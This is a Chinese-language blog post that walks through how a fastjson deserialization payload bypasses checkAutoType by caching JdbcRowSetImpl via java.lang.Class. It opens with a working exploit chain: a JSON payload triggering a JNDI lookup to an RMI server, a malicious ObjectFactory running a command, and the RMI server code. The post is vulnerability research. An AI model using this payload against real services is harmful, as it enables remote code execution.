前言
写的有点多,可能对师傅们来说比较啰嗦,不过这么写完感觉自己也就明白了
poc
newPoc.javaimport com.alibaba.fastjson.JSON; public class newPoc { public static void main(String[] argv) { String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," + ""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" + ""rmi://localhost:1099/Exploit","autoCommit":true}}}"; JSON.parse(payload); } }
Exploit.javaimport javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } }
rmiServer.javaimport com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class rmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit", "Exploit", "http://localhost:1099/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); System.out.println("service bind at 1099"); registry.bind("Exploit", wrapper); } }
{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "xxxx":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true } }
漏洞触发流程
在JSON.parse处下断点,单步进入到JSON这个类中,开始了fastjson库的解析过程
经过几个parse函数(java中,一个函数由函数名和函数参数唯一确定,也就是java中的函数签名),虽然同为parse这个函数,但是函数参数不同,故进入到不同的函数中public static Object parse(String text) { return parse(text, DEFAULT_PARSER_FEATURE); } public static Object parse(String text, int features) { return parse(text, ParserConfig.getGlobalInstance(), features); } public static Object parse(String text, ParserConfig config, int features) { if (text == null) { return null; } else { DefaultJSONParser parser = new DefaultJSONParser(text, config, features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
在最后一个parse中,真正进入到json解析的流程
0x01 总览
我们先不急着跟下去,因为java的调用链一般来说比较深,所以我们先看一下整个大体的流程是什么样,来自己判断一下这些函数都是用来干什么的,先宏观的看,再跟进去一步步看它在做什么
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
初始化一个默认的json解析器
Object value = parser.parse();
调用这个json解析器的parse函数,来进行json解析
parser.handleResovleTask(value);
这个函数暂时不知道干什么,先放着
parser.close();
将解析器关闭
return value;
返回json解析的结果
可以看出来,我们真正需要关注的,其实就是DefaultJSONParser的生成和DefaultJSONParser对我们输入json数据的处理
0x02 初始化json解析器(DefaultJSONParser parser = new DefaultJSONParser(text, config, features);)

  1. 在DefaultJSONParser这个类中有一部分静态代码块,在实例化它的时候,最先调用静态代码块

static { Class<?>[] classes = new Class[]{Boolean.TYPE, Byte.TYPE, Short.TYPE, Integer.TYPE, Long.TYPE, Float.TYPE, Double.TYPE, Boolean.class, Byte.class, Short.class, Integer.class, Long.class, Float.class, Double.class, BigInteger.class, BigDecimal.class, String.class}; Class[] var1 = classes; int var2 = classes.length; for(int var3 = 0; var3 < var2; ++var3) { Class<?> clazz = var1[var3]; primitiveClasses.add(clazz); } }
这里就是把很多原生类都加入到了primitiveClasses这个集合中,供后面的使用

  1. 接下来调用DefaultJSONParser的构造函数

public DefaultJSONParser(String input, ParserConfig config, int features) { this(input, new JSONScanner(input, features), config); }
这里初始化了JSONScaner,对我们的json数据进行一些注册public JSONScanner(String input, int features) { super(features); this.text = input; this.len = this.text.length(); this.bp = -1; this.next(); if (this.ch == 'ufeff') { this.next(); } }

  1. 进入DefaultJSONParser初始化

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) { this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT; this.contextArrayIndex = 0; this.resolveStatus = 0; this.extraTypeProviders = null; this.extraProcessors = null; this.fieldTypeResolver = null; this.autoTypeAccept = null; this.lexer = lexer; this.input = input; this.config = config; this.symbolTable = config.symbolTable; int ch = lexer.getCurrent(); if (ch == '{') { lexer.next(); ((JSONLexerBase)lexer).token = 12; } else if (ch == '[') { lexer.next(); ((JSONLexerBase)lexer).token = 14; } else { lexer.nextToken(); } }
这里对一些成员变量进行注册,并且我们的json数据开头是’{‘,所以token被设置为12
至此,对DefaultJSONParser的初始化就结束了,可以看到在这一个函数中,做的主要还是对整个解析上下文的初始化,将json数据和之后需要用到的类进行注册,以便后面的使用
0x03 开始json解析流程(Object value = parser.parse();)
进入到DefaultJSONParser的parse方法,fastjson的真正json解析就开始了public Object parse() { return this.parse((Object)null); } public Object parse(Object fieldName){ JSONLexer lexer = this.lexer; switch(lexer.token()) { ...... case 12: JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); return this.parseObject((Map)object, fieldName); ...... }
代码比较长,在上面DefaultJSONParser的初始化中,将我们的token值设置为了12,所以进入到case 12这个条件中

  1. 先构建了一个JSONObject对象
  2. 进入到parseObject中
  3. 因为现在的token为12,所以一路if条件跳过,最后到else块中

ParseContext context = this.context; try { Map map = object instanceof JSONObject ? ((JSONObject)object).getInnerMap() : object; boolean setContextFlag = false; while(true) { lexer.skipWhitespace(); char ch = lexer.getCurrent(); if (lexer.isEnabled(Feature.AllowArbitraryCommas)) { while(ch == ',') { lexer.next(); lexer.skipWhitespace(); ch = lexer.getCurrent(); } } ...... } }
这是一个非常庞大的while循环,在这里面进行对json字符串的语法分析,以及各种判断
0x04 巨大的while
json的解析过程是一个字符一个字符判断的,和js的判断机制有些类似

  1. 在while中先将键名解析出来
  2. 下一个值的开头是’{‘
  3. 因为开头是’{‘,意味着这是嵌套的一个json
  4. 之后到537行,再次调用parseObject,将键名传入参数,来获取对应键的值

可以将parseObject想像成一个魔法盒子,它会将你传入的比如{‘xxx’:’xxx’}这样的json解析,将它根据键值存到一个map里面,那么如果你传入的是{‘xxx’ : {‘xxx’:’xxx’}}这样形式的话,因为值也是一个键值对的形式,所以又会再次调用parseObject,那么最后的结果也就变成了一个map中嵌套一个map的结构

  1. 接下来,嵌套的这个json中就有意思了

java中的json不像php中的json那么单纯,java中的json最重要的是它是java实现反序列化和序列化的很重要的手段,所以在fastjson中,定义了一些键,如果这些键出现的时候,那么这个键对应的值就不会被单纯的认为是字符串
我们抽出来这个值:
"name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }
这个键名是@type,当我们继续调试到292行的时候

这里判断了两个条件:
<1> key == JSON.DEFAULT_TYPE_KEY 判断了是否为预设的特殊键名
<2> !lexer.isEnabled(Feature.DisableSpecialKeyDetect) 是否关闭了特殊键名的探测(默认开启)

正是我们传入的@type,所以这个json就不被认为是一个普通的字符串,而会是一个对象,这里也就进入了反序列化的地方

这里获取到我们的@type的值为’java.lang.Class’

这里就是在第一次fastjson反序列化出现的之后补丁所添加的,它限制了反序列化的类的白名单和黑名单,这次包括之前的fastjson反序列化漏洞都是因为checkAutoType的问题导致的
0x05 checkAutoType
在这里,检测了我们反序列化的类是否在黑名单里面,也就是下面的这一段:

这里,阿里玩了一个小技巧,为了防止攻击者拿到禁止类的黑白名单,阿里并没有直接拿类名称来比较,而是拿类的一段字符串的hash来比较,这样就不那么容易知道阿里的黑白名单具体是什么(当然已经有大佬搞出来了)
我们可以看到如果我们传入的类符合this.denyHashCodes定义的hash的话,就不会反序列化这个类了,当然com.sun.rowset.JdbcRowSetImpl这个类必定是被禁止了的
之后再进行白名单的校验,确保@type的这个类是完全没问题的,所以这个地方,我们的恶意类不能进入到这一段代码中,进去就是gg
继续回到我们之前的流程,因为在IdentityHashMap中有java.lang.Class,也就是这个类被认为是安全的,所以在clazz = this.deserializers.findClass(typeName);这个地方就直接获得了java.lang.Class对象

而之后的if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } }
就直接返回了java.lang.Class对象
0x06 回到DefaultJSONParser
在checkAutoType检测完成以后,我们的clazz变量就成了java.lang.Class对象
调用ObjectDeserializer deserializer = this.config.getDeserializer(clazz)

ObjectDeserializer derializer = (ObjectDeserializer)this.deserializers.get(type);
在这个地方我们获得了对应的deserilizer:MiscCodec对象
之后调用了MiscCodec对象的deserilize方法
进入到这个方法中:

之后调用parser.parse()
走到了这里

这里通过String stringLiteral = lexer.stringVal();获取到了val这个键名对应的值:com.sun.rowset.JdbcRowSetImpl,最后将这个字符串返回
后面对我们的java.lang.Class进行一系列的判断,进入到

继续跟进,一路进入到loadClass这个函数
简单来说,这个函数判断预先定义的类的map里面有没有传进来的这个className,如果没有的话,就把它加进去

而这个map正是checkAutoType里面的map,这个地方就是漏洞的触发点,通过将com.sun.rowset.JdbcRowSetImpl这个类加载到map中,从而绕过了checkAutoType的验证,进而造成了反序列化
0x07 新一轮的json解析
前面说过,那个大while里面是解析json用的,在第一个键值对解析完了以后,继续开始解析第二个键值对,也就是:
"xxxx":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true }
和前面的流程基本一摸一样,检测到@type字段,获取到@type对应的值,也就是com.sun.rowset.JdbcRowSetImpl,进入到checkAutoType的检验,我们直接跟到checkAutoType的检验中
前面都没什么好说的,最重要的是这一步:

我们跟进,来到了这个函数public static Class<?> getClassFromMapping(String className) { return (Class)mappings.get(className); }
而maps里面的值为:
"java.text.SimpleDateFormat" -> {Class@691} "class java.text.SimpleDateFormat" "java.util.concurrent.ConcurrentHashMap" -> {Class@18} "class java.util.concurrent.ConcurrentHashMap" "java.lang.InternalError" -> {Class@348} "class java.lang.InternalError" "java.lang.StackOverflowError" -> {Class@7} "class java.lang.StackOverflowError" "java.sql.Date" -> {Class@696} "class java.sql.Date" "java.util.concurrent.atomic.AtomicInteger" -> {Class@40} "class java.util.concurrent.atomic.AtomicInteger" "java.lang.Exception" -> {Class@227} "class java.lang.Exception" "java.lang.IllegalStateException" -> {Class@700} "class java.lang.IllegalStateException" "java.util.Calendar" -> {Class@702} "class java.util.Calendar" "java.lang.InterruptedException" -> {Class@704} "class java.lang.InterruptedException" "java.util.BitSet" -> {Class@192} "class java.util.BitSet" "java.util.Hashtable" -> {Class@236} "class java.util.Hashtable" "[C" -> {Class@341} "class [C" "java.util.TreeMap" -> {Class@709} "class java.util.TreeMap" "java.util.LinkedHashMap" -> {Class@111} "class java.util.LinkedHashMap" "java.sql.Timestamp" -> {Class@712} "class java.sql.Timestamp" "java.lang.IllegalArgumentException" -> {Class@75} "class java.lang.IllegalArgumentException" "java.util.concurrent.TimeUnit" -> {Class@715} "class java.util.concurrent.TimeUnit" "java.lang.InstantiationError" -> {Class@717} "class java.lang.InstantiationError" "java.lang.IndexOutOfBoundsException" -> {Class@719} "class java.lang.IndexOutOfBoundsException" "java.lang.VerifyError" -> {Class@721} "class java.lang.VerifyError" "long" -> {Class@723} "long" "java.lang.IllegalThreadStateException" -> {Class@725} "class java.lang.IllegalThreadStateException" "java.util.WeakHashMap" -> {Class@279} "class java.util.WeakHashMap" "java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException" "java.lang.NoSuchMethodError" -> {Class@180} "class java.lang.NoSuchMethodError" "[short" -> {Class@343} "class [S" "java.lang.StackTraceElement" -> {Class@732} "class java.lang.StackTraceElement" "[byte" -> {Class@340} "class [B" "short" -> {Class@735} "short" "java.lang.AutoCloseable" -> {Class@263} "interface java.lang.AutoCloseable" "[D" -> {Class@346} "class [D" "char" -> {Class@739} "char" "java.lang.LinkageError" -> {Class@299} "class java.lang.LinkageError" "java.lang.IllegalAccessError" -> {Class@742} "class java.lang.IllegalAccessError" "[double" -> {Class@346} "class [D" "java.sql.Time" -> {Class@745} "class java.sql.Time" "java.lang.NegativeArraySizeException" -> {Class@747} "class java.lang.NegativeArraySizeException" "java.util.Locale" -> {Class@294} "class java.util.Locale" "java.lang.NullPointerException" -> {Class@186} "class java.lang.NullPointerException" "[float" -> {Class@345} "class [F" "[int" -> {Class@342} "class [I" "java.util.HashMap" -> {Class@144} "class java.util.HashMap" "java.lang.OutOfMemoryError" -> {Class@260} "class java.lang.OutOfMemoryError" "java.util.IdentityHashMap" -> {Class@755} "class java.util.IdentityHashMap" "[long" -> {Class@344} "class [J" "java.lang.NoClassDefFoundError" -> {Class@758} "class java.lang.NoClassDefFoundError" "double" -> {Class@760} "double" "java.lang.StringIndexOutOfBoundsException" -> {Class@762} "class java.lang.StringIndexOutOfBoundsException" "[Z" -> {Class@339} "class [Z" "java.lang.IllegalMonitorStateException" -> {Class@188} "class java.lang.IllegalMonitorStateException" "[boolean" -> {Class@339} "class [Z" "java.util.Collections$EmptyMap" -> {Class@277} "class java.util.Collections$EmptyMap" "java.util.concurrent.atomic.AtomicLong" -> {Class@316} "class java.util.concurrent.atomic.AtomicLong" "java.util.HashSet" -> {Class@177} "class java.util.HashSet" "java.util.concurrent.ConcurrentSkipListMap" -> {Class@770} "class java.util.concurrent.ConcurrentSkipListMap" "[F" -> {Class@345} "class [F" "java.lang.NumberFormatException" -> {Class@773} "class java.lang.NumberFormatException" "[char" -> {Class@341} "class [C" "java.util.concurrent.ConcurrentSkipListSet" -> {Class@776} "class java.util.concurrent.ConcurrentSkipListSet" "int" -> {Class@778} "int" "java.lang.Cloneable" -> {Class@254} "interface java.lang.Cloneable" "com.sun.rowset.JdbcRowSetImpl" -> {Class@781} "class com.sun.rowset.JdbcRowSetImpl" "java.awt.Point" -> {Class@783} "class java.awt.Point" "[J" -> {Class@344} "class [J" "java.awt.Font" -> {Class@786} "class java.awt.Font" "java.lang.NoSuchFieldException" -> {Class@788} "class java.lang.NoSuchFieldException" "java.util.TreeSet" -> {Class@790} "class java.util.TreeSet" "java.lang.NoSuchMethodException" -> {Class@792} "class java.lang.NoSuchMethodException" "[I" -> {Class@342} "class [I" "java.awt.Rectangle" -> {Class@795} "class java.awt.Rectangle" "java.util.UUID" -> {Class@797} "class java.util.UUID" "java.lang.SecurityException" -> {Class@799} "class java.lang.SecurityException" "java.lang.Object" -> {Class@256} "class java.lang.Object" "java.util.Date" -> {Class@802} "class java.util.Date" "java.lang.RuntimeException" -> {Class@49} "class java.lang.RuntimeException" "java.awt.Color" -> {Class@805} "class java.awt.Color" "com.alibaba.fastjson.JSONObject" -> {Class@555} "class com.alibaba.fastjson.JSONObject" "java.lang.NoSuchFieldError" -> {Class@808} "class java.lang.NoSuchFieldError" "java.lang.IllegalAccessException" -> {Class@810} "class java.lang.IllegalAccessException" "[B" -> {Class@340} "class [B" "java.util.LinkedHashSet" -> {Class@813} "class java.util.LinkedHashSet" "byte" -> {Class@815} "byte" "java.lang.TypeNotPresentException" -> {Class@817} "class java.lang.TypeNotPresentException" "[S" -> {Class@343} "class [S" "boolean" -> {Class@820} "boolean" "float" -> {Class@822} "float"
而这个map,在第一部分的json解析的时候,我们成功加入了com.sun.rowset.JdbcRowSetImpl(见63行),所以这里直接可以返回JdbcRowSetImpl这个类if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } }
因为在上面获取的map中就返回了clazz的值,所以这里就直接返回了com.sun.rowset.JdbcRowSetImpl类,也就没有了下面的黑白名单检测,也就成功绕过了checkAutoType
0x08 JdbcRowSetImpl反序列化

最后在这个地方获取了deserializer,并且通过这个deserializer反序列化了JdbcRowSetImpl类,最后成功调用lookup进行JNDI注入
因为这个地方牵扯到java asm直接生成字节码,实在是有点看不懂,就只能跳过了,之后再学习吧,tcl
最后给一张经过asm之后的调用链吧connect:643, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:759, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:1283, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser) parse:152, JSON (com.alibaba.fastjson) parse:162, JSON (com.alibaba.fastjson) parse:131, JSON (com.alibaba.fastjson) main:10, newPoc (com.xiang.fastjson.poc)

fastjson反序列化map_最新fastjson反序列化漏洞分析相关推荐

  1. ESPCMS最新cookie注入漏洞分析

    0×00  简介: 易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单.功能强大.稳定性好.扩展性及安全性强.二次开发及后期维护方便,可以帮您迅速.轻松地构建起一个 ...

  2. fastjson 循环json字符串_FastJson拒绝服务漏洞分析

    作者:fnmsd@360云安全 前言 从@badcode师傅那里知道了这个漏洞,尝试着分析复现一下,影响范围<=fastjson 1.5.9. 感谢@pyn3rd师傅对OOM机制的讲解. 该漏洞 ...

  3. Fastjson 1.2.68版本反序列化漏洞分析篇

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...

  4. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  5. 【网络安全】Nacos Client Yaml反序列化漏洞分析

    背景 Nacos 致力于帮助您发现.配置和管理微服务.Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现.服务配置.服务元数据及流量管理. Nacos 帮助您更敏捷和容易地构建.交付和 ...

  6. rmi远程代码执行漏洞_Apache Solr反序列化远程代码执行漏洞分析(CVE20190192)

    更多全球网络安全资讯尽在邑安全 www.eansec.com ‍‍‍‍ 0x01 漏洞描述 Solr 是Apache软件基金会开源的搜索引擎框架,其中定义的ConfigAPI允许设置任意的jmx.se ...

  7. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

  8. Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析

    0x00 前言 2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低.影响范围为10.3.6.0.0, 12.1. ...

  9. wpf window 不执行show 就不能load执行_Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day...

    1.介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算.在 NumPy 1.16.0 版本之前存在反序列 ...

最新文章

  1. LoadRunner模拟Json请求
  2. InnoDB体系结构
  3. 纸牌游戏10点半c语言,python10点半纸牌游戏_【Python】Python编的纸牌游戏
  4. Effective 笔记
  5. 基于SSM+JBPM的智能化OA办公平台
  6. SPOJ GSS2 Can you answer these queries II (线段树离线) - xgtao -
  7. vue 使用axios
  8. html有4个li怎么选择第二个,如何在html中使用两个具有不同属性的Li?
  9. php裁剪图片白边,php生成缩略图填充白边(等比缩略图方案)_PHP
  10. 家庭记事本开发进度3
  11. 树莓派保持网络连接shell脚本
  12. 软件工程(英文版 第8版)
  13. 微信加人:你需要了解的规则
  14. r语言clind函数_19 函数进阶 | R语言教程
  15. 判断用户首次登录的两种方式
  16. Part Ⅵ Transportation 交通??
  17. 数据中台 第8章 数据资产管理
  18. 用Vue实现小Q聊天机器人(二)
  19. Zookeeper 序列化
  20. Tomb.Finance的每周更新(5.23-5.29)

热门文章

  1. complex类模板c++_高中地理综合题答题模板,学霸们都收藏了!
  2. ceq c matlab,求一个函数MATLAB的编程,求大神指教。
  3. python中xpath如何获取内容_python requests + xpath 获取分页详情页数据存入到txt文件中...
  4. C++递归以及内存值的传递
  5. pytorch学习笔记(三十四):MiniBatch-SGD
  6. 数组模拟乘法(大数乘法)
  7. Windows运维的学习笔记
  8. Python中如何设置函数的默认值
  9. 【实用】Putty常见错误汇总
  10. 使用 PyMOL 将靶点与配体复合物中的靶点和配体拆出来